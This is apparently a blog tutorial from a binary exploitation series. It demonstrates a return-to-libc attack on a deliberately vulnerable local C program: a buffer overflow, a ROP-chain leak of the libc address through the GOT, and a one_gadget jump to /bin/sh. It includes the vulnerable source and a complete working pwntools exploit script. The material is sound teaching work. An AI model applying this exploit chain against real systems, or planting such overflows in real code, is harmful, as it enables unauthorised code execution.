Binary Exploitation Series (4): Return to Libc
This time we will activate non-executable stack and we’re going to build our first mini ROP-Chain to leak memory addresses! Basic ASLR is of course still enabled (only Heap and Stack randomized). I will also introduce some more features of pwntools
.
Target
The target is again a simple binary where we can spot the vulnerability after a few seconds. In the function check_username
we declare a 32-byte buffer to store a username. After that, we prompt the user to input a name but the fgets
call reads up to 200 bytes which could lead again to a buffer overflow.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//gcc -m64 -o chapter_4 chapter_4.c -no-pie -fno-stack-protector
void check_username() {
char name[32];
puts("Name?");
fgets(name, 200, stdin);
if(strcmp(name, "admin\n") == 0) {
puts("Nope. Invalid username.");
}
else {
puts("OK");
}
}
int main(int argc, char **argv) {
check_username();
return 0;
}
Analysis
Since we know a little bit about pwntools
, thanks to the last post, and we have the source code of the target, we can directly start writing our exploit. First, import all pwntools
functions and load the binary.
from pwn import *
r = process("./chapter_4")
context.binary = './chapter_4'
Then we will attach the debugger gdb
again …
# attach gdb and continue
gdb.attach(r.pid, """c""")
… and we trigger the buffer overflow with a simple payload.
payload = "A"*50
r.sendline(payload)
r.interactive() # we don't want to close the application
Crashed, perfect!
Next, we try to find the offset to the return address on the stack. This can be done manually with static or dynamic analysis or we just use gdb
and a really useful pwntools function.
Let’s change the payload to payload = cyclic(50)
and run it again. Crashed. Now we can compute the offset to the return address by taking a word (w) at the top of the stack (rsp
) as an argument to pwntools’ cyclic_find
function.
gef➤ x/wx $rsp
0x7ffecfec1e98: 0x6161616b
# ipython
In [1]: from pwn import *
In [2]: cyclic_find(0x6161616b)
Out[2]: 40
Ok, we have an offset of 40 to the return address of this function (32-byte buffer + 8 byte which is the saved base pointer).
Since we can’t execute our shellcode on the stack, we have to find another way. For now, we do the following steps to achieve code execution:
- Leak libc pointers via
GOT
(Global Offset Table)- Leak pointer to
puts
- Leak pointer to
- Identify libc library (optional, in this case not necessary)
- Leak another pointer to
fgets
- Use leaked pointers of
puts
andfgets
to find the correct libc
- Leak another pointer to
- Compute libc’ base address
- Find a suitable one-shot gadget to achieve code execution
- Maybe find suitable gadgets to modify the registers for the one-shot gadget (in this case not necessary)
- Redirect execution to the vulnerable function (otherwise the executable would exit)
- Exploit the same vulnerability a second time and pop a shell!
First, we have to call the function puts
with a GOT
address as argument to read the pointer. We can also use pwntools
to support us in our exploit development. Since we exploiting the program locally we can use ldd
to obtain the used libc.
# Find the used libc (obviously our local libc since this is a local challenge)
ldd ./chapter_4
linux-vdso.so.1 (0x00007fffe21a6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f37310e9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f37314da000)
Next, we load the libc in our python script for later use libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
and we use pwntools
features to call puts
with the correct address. Since puts uses one argument we have to set the rdi
register (Read more about calling conventions).
# find a suitable gadget to set rdi
ROPgadget --binary chapter_4 | grep rdi
0x00000000004006b3 : pop rdi ; ret <--------------------------
0x0000000000400594 : scasd eax, dword ptr [rdi] ; or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
We use the gadget to set the rdi
register and call puts
. This will print the address of the GOT
entry and we can convert the leaked binary string to an integer with pwntools
(u64()
, 8 bytes unpack). Then we just have to subtract the offset of puts
of our local libc to get the base address of the mapped libc in memory.
from pwn import *
def pad_null_bytes(value):
return value + '\x00' * (8-len(value))
chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'
# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# attach gdb and continue
gdb.attach(r.pid, """c""")
payload = "".join(["A"*40,
p64(0x00000000004006b3), # pop rdi ; ret
p64(chapter_4_elf.got["puts"]), # value for rdi
p64(chapter_4_elf.symbols["puts"]), # return address
"C"*50])
r.clean() # clean socket buffer (read all and print)
r.sendline(payload) # send payload
r.recvuntil("OK\n") # read until OK\n
puts_leak = u64(pad_null_bytes(r.readline())) # null byte padding + unpack to integer(8 byte)
log.info("Puts @ %s" % hex(puts_leak))
libc_base = puts_leak - libc.symbols["puts"] # compute libc base
log.info("libc base @ %s" % hex(libc_base))
r.interactive() # we don't want to close the application
Output of our script:
[+] Waiting for debugger: Done
[*] Puts @ 0x7f97bd13f9c0
[*] libc base @ 0x7f97bd0bf000 <----
[*] Switching to interactive mode
# Verify puts in gdb
p puts
$1 = {int (const char *)} 0x7f97bd13f9c0 <_IO_puts> <----
# Verify libc base with vmmap
0x00007f97bd0bf000 0x00007f97bd2a6000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so <----
0x00007f97bd2a6000 0x00007f97bd4a6000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4a6000 0x00007f97bd4aa000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4aa000 0x00007f97bd4ac000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
Perfect, the addresses are the same!
If we don’t know the libc version we have to leak other addresses like fgets
and strcmp
and use blukat.me to identify the correct version. When we found the correct one, we can download the libc from the website. Since we do everything locally, we can just skip this part.
Before we look for a one-shot gadget, we need a way to interact with the binary after receiving the leaked addresses because ASLR would randomize the addresses on every startup again. Therefore, we just redirect the execution flow to the beginning and just exploit the buffer overflow a second time.
payload = "".join(["A"*40,
p64(0x00000000004006b3), # pop rdi ; ret
p64(chapter_4_elf.got["puts"]), # value for rdi
p64(chapter_4_elf.symbols["puts"]), # return address
p64(chapter_4_elf.symbols["main"]), # return to main
"C"*50])
-->
Output:
[*] Puts @ 0x7f0fa54599c0
[*] libc base @ 0x7f0fa53d9000
[*] Switching to interactive mode
Name?
$
Just copy the payload and send it again and we see the same crash as at the beginning!
Next, we have to identify a one-shot gadget. For that, we can use the program one_gadget
with the identified libc.
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Ok, we have some constraints…
If we take a look at the stack in gdb
after the program crashed, we can see that the second gadget should work with its constraints, because we control the C’s (43).
x/gx $rsp+0x40
0x7ffcc4538c98: 0x4343434343434343
-> change "C"*50 to "\x00"*100 and start the script again
x/gx $rsp+0x40
0x7ffe6cdff488: 0x0000000000000000
Let’s try it..
payload2 = "".join(["A"*40,
p64(libc_base + one_gadget), # pop a shell
"\x00"*100])
gef➤ c
Continuing.
process 9645 is executing new program: /bin/dash
We got it!
[+] Waiting for debugger: Done
[*] Puts @ 0x7f88bec589c0
[*] libc base @ 0x7f88bebd8000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s¾\x88\x7f
OK
$ ls
chapter_4 chapter_4.c chapter_4_exploit.py
Final exploit:
from pwn import *
def pad_null_bytes(value):
return value + '\x00' * (8-len(value))
chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'
# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# attach gdb and continue
gdb.attach(r.pid, """c""")
"""
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
one_gadget = 0x4f322
payload = "".join(["A"*40,
p64(0x00000000004006b3), # pop rdi ; ret
p64(chapter_4_elf.got["puts"]), # value for rdi
p64(chapter_4_elf.symbols["puts"]), # return address
p64(chapter_4_elf.symbols["main"]), # return to main
"C"*50])
r.clean()
r.sendline(payload)
r.recvuntil("OK\n")
puts_leak = u64(pad_null_bytes(r.readline()[:-1])) # remove newline + null byte padding + unpack to integer (8 byte)
log.info("Puts @ %s" % hex(puts_leak))
libc_base = puts_leak - libc.symbols["puts"]
log.info("libc base @ %s" % hex(libc_base))
payload2 = "".join(["A"*40,
p64(libc_base + one_gadget), # pop a shell
"\x00"*100])
r.clean()
r.sendline(payload2)
r.interactive() # we don't want to close the application
Please be patient with yourself and learn slowly, so that you understand everything correctly.
Happy Hacking!